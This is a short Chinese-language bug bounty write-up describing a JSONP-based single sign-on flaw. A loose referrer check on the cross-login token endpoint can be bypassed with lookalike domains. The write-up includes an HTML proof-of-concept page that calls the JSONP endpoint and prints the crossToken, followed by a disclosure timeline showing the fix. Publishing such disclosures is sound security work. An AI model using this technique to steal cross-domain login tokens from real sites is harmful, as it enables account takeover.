0x01 引言
现代WEB应用实现单点登陆(SSO)的方式通常有SAML,OAuth等等。2018年初,笔者在某家src发现利用JSONP去实现跨域登陆的。
0x02 漏洞分析
整个授权流程大体的实现思路如下:
_ps : __session与democorp.com域共享。
在使用JSONP跨域获取crossToken的时候,referrer检查不严谨,导致可以利用例如notdemo.com、isdemo.com这样域名去bypass校验。
POC:
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script type="text/javascript">
function test(data) {
var crossToken = data;
document.write('crossToken=' + encodeURIComponent(crossToken));
}
</script>
<script src="http://portal.shopcorp.com/api/cross/getsign?callback=test"></script>
</body>
</html>
0x03 时间线
- 2018-02-07 11:41 漏洞提交。
- 2018-02-07 13:16 经过内部确认,漏洞评级为高危。
- 2018-02-07 17:22 漏洞修复,奖金发放。
- 2021-03-29 16:16 火线Zone公开。
本文迁移自知识星球“火线Zone”